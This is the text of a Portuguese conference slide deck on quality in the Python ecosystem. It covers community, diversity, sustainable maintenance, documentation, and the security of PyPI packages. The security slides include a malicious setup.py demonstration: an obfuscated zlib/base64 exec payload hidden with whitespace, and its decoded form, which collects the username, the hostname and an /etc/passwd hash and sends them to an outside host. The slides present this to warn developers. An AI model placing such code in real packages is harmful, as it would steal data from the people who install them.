a qualidade do ecossistema python - e o que podemos fazer para mante-la
TRANSCRIPT
A Qualidade do Ecossistema Python
Bruno Rocha - @rochaCbruno - brunorocha.org
Bruno Rocha - @rochaCbrunoQuality Engineer @ RedHat.com
Podcaster @ Castalio.info
Teacher @ CursoDePython.com.br
Blogger @ BrunoRocha.org
castalio.info
youtube.com/castaliopodcast
Toda Segunda às 11h disponível em Podcast no site, itunes, rss, players etc
Toda Quarta às 20h ao vivo no YouTube
“a todas as relações dos organismos entre si, e com seu meio ambiente chamamos ecossistema ou seja, podemos definir ecossistema como sendo um conjunto de comunidades interagindo entre si..”
-- Wikipedia
- Você (e seus grupos)
- Comunidades (eventos)
- Material teórico (livros, tutoriais, cursos)
- Ferramentas (sistemas, IDEs, plataformas)
- Biblioteca de pacotes (pip, github, conda)
- Python Software Foundation- A Linguagem (core developers)
Ecossistema Python?
O que atrai tanta atenção para o Python?
- Python é fácil de aprender.- A comunidade é receptiva- Tem eventos muito legais- É fácil escrever e publicar novas
bibliotecas com Python.- Pensou… já tem no PyPI.- É popular e está na moda.- Aprovado por Grandes empresas.
$ pip install magic>>> magic.run()
Ou nas palavras do poeta...
Como garantir software de qualidade?
Enterprise
?
Como garantir profissionais de qualidade?
?Certificação Profissional Python Seja um expert por apenas $ 9.999,99 / year
Como garantir ecossistema de bibliotecas de qualidade?
?Seja um “Python Developer Partner” e publique suas bibliotecasna “PyPI store” por apenas $ 9.999,99 / year
PY
New Python 3.6Featuring exclusive `f’string`
Only $ 999/year
You need Python 3.6Call 555 - 5555 And buy it now!
Oportunity: First 100 customersWill get IDLE for free...By Guido Inc.
● Python não tem dono, pertence a comunidade.● A comunidade é o controle de qualidade.● A comunidade é a entidade certificadora*.
* Na comunidade Python TODOS são encorajados a participar e fazer a diferença, colaborar com os diversos pilares da comunidade (slide 4) tem um grande valor para a carreira do profissional Python.
VOCÊ
“I came for the language but I stay for the community” - Brett Cannon
“Diversidade acontece quando pessoas diferentes se reunem em um mesmo local”
“Inclusão acontece quando essas pessoas conseguem atuar em conjunto, como iguais, com as mesmas oportunidades e sem prejuizo para nenhuma delas”
- Adaptação da palestra de Naomi Ceder (Python Brasil 12)
Como tratar ameaças a comunidade e diversidade?
- Código de conduta- Postura de mentor e não de juiz
Open by default
- PSF (grants, membership, fellowship and board)- Repositories- Experiments (MyPy, Gilectomy)- APyB- Call 4 Papers- PyPI/Warehouse- Python Planet- PEPs- GruPys
Você pode participarabertamente!!!
100_000BibliotecasDisponíveisNoPyPI
$ pip install magic>>> magic.run()
- Python é fácil de aprender.- E tem muita biblioteca pronta!
>>> TracebackCannot do the magic today...
- Quantos dos 100_000 pacotes disponíveis tem cobertura de testes?
- Quantos tem boa documentação?
- Como faço para escolher?
$ pip install magic$ installing…$ HAHA you got hacked!!!
- E essas bibliotecas são seguras?
- Se qualquer pessoa pode publicar uma nova lib no PyPI quem garante a segurança e a qualidade?
Segurança!!!
# setup.py `pip install magic`from setuptools import setup
setup(
name="magic",
...
)
Sempre faça review do código fonte da lib a ser instalada.
Especialmente o `setup.py`
E não se esqueça da barra de rolagem.
;import zlib;
exec(zlib.decompress('eJx9UcFqxCAQvfsVXhYVtoY
Wegn0uF+x7MHG2ShNHNEJ3aX036vJBrJQ4uX5HOfNe+rH
iIk4ZuaX\n3ZSGwX8+s7eVOpPdphoHQ1dMI2OU7i3jZU3
BjMA/iqDugQbsfZCKwa2DSPw0g8fATebw3CDOh3wR\n/M
Bho+YwU6mtc/R8Warz62VP8tH1r+K1RijFRxI92neJEYI
UDVDXRJPztxVKJzBWKqUd3KzvIdN+\nilV2O9MaMuVoeU
JdAEKHFuSPmGOIdsl+5KIaLrRCYbNWoTP+qu3jLr9RtRb
Pjii2TRPv5DC8BFNd\nFcsJvyYTo+5wbMSRVyO77mtq9g
fllKgC\n'.decode('base64')))
Multiple of 4 white spaces
Python tricks!
# `pip install magic` import os, urllib, urllib2, hashlib, platform
try:
uname = os.getlogin()
except Exception as e:
uname = '[%s]' % e
try:
host = platform.uname()[1]
except Exception as e:
host = '[%s]' % e
try:
fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest()
except Exception as e:
fhash = '[%s]' % e
data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash})
try:
urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data)
except Exception as e:
pass
Decoded trick
Nothing serious hereBut could be a real hack
Solução?
$ pip install safety$ safety check
Open SourceCommunity driven safety checks?
Please create moreSafety tools!!!!
Por que o Python não resolve este problema sem depender de serviços de terceiros?
https://github.com/pypa New generation of PyPI is `warehouse`and you can helpOn Github.com/pypaOnly 18 contributors?
Not a coder?donate!!!
Warehouse is a next generation Python Package Repository designed to replace the legacy code base that currently powers PyPI
Rank: 4.5 - safe
Rank: 2.0 - outdated
Rank: 1.0 - danger
1.234 Reviews ++1 Review --Why not making it more `social driven` to address
the library quality problem?
Example:More maintainersMore qualitypoints!
Segurança das libs: o que podemos fazer ?
- Verificar antes de instalar- Instalar bibliotecas conhecidas e confiáveis- Usar SafetyCI - pyup.io- Criar ferramentas para ajudar na verificação- Denunciar caso encontrar lib suspeita- Colaborar com o projeto Pypa/Warehouse
A responsabilidade é SUA NOSSA!!!
Toda biblioteca publicada no PyPI acompanha uma etiqueta invisivel que diz:
“Eu estou ciente das responsabilidades que devo assumir ao publicar este código e prometo fazer o possível para mante-lo com qualidade até o fim dos tempos!”
E deixarei explicito caso por qualquer motivo eu não possa mais manter deixando o caminho livrepara quem desejar criar um fork!
Seus projetos publicados no PyPI devem ser
Maintanable:
Project that can be maintable by as many and diverse people.
Sustentável:
Projeto que possa ser mantido por várias e diferentes pessoas
* diferente no sentido de diversidade
Leftpad is ` npm` problem, will not happen with Python?
pip install requests● 99,9% das instalações de ambientes Python instalam requests● Se a versão não estiver especifica seu build pode quebrar● Ferramentas como Travis-Ci dependem de requests e já quebraram por isso!● Sistemas operacionais trazem requests por padrão● Até poucos meses atrás este era um ‘one man band’ project, mas depois de
recentes problemas com releases o criador decidiu excluir os próprios poderes de administrador da lib e elegeu outros mantenedores
● Não é o único, existem outras libs Python publicadas com o mesmo risco● Sempre especifique suas versões● Use o pyup.io ou requires.io ou qualquer outra solução do tipo● Use o safety/CI ou algo do tipo
…..
Segurança e sustentabilidadenão são os únicos problemas!
http://opensourcesurvey.org/2017/
Assim como recentemente melhoramos nossa cultura de testes.
Precisamos agora melhorar nossa cultura de documentação!
Q: Por que a maioria das bibliotecas não tem boa documentação?A: Escrever documentação é um processo chato!
Q: O que precisa melhorar?A: Ferramentas e formatos (rst) não amigaveis afastam as pessoas da documentação. Precisamos fazer como fizemos com os testes e adotar formatos (md?) e ferramentas mais fáceis.
Q: Como incentivar as pessoas a contribuir com documentação?A: Primeiro precisamos definir o processo (assim como nos testes) e então criar um manifesto atraindo os contribuidores, mostrando a importância, oferecendo um certo “status” ao documentador e usar os eventos para fomentar essa cultura.
Dicas para criar boas libs
python.apichecklist.com
Conclusão- Python não é um produto!- O ecossistema (principalmente a comunidade) já tem qualidade acima da média- Precisamos de mais materiais teóricos de qualidade para iniciantes- Podemos utilizar ferramentas para ajudar no QA de bibliotecas Python- Podemos colaborar com a evolução do PyPI- Podemos colaborar com a evolução do Python- A qualidade do ecossistema é NOSSA responsabilidade- Seja responsável e publique apenas bibliotecas de qualidade no PyPI- Precisamos de uma solução colaborativa para classificar 100 mil libs- Ajude e seja ajudado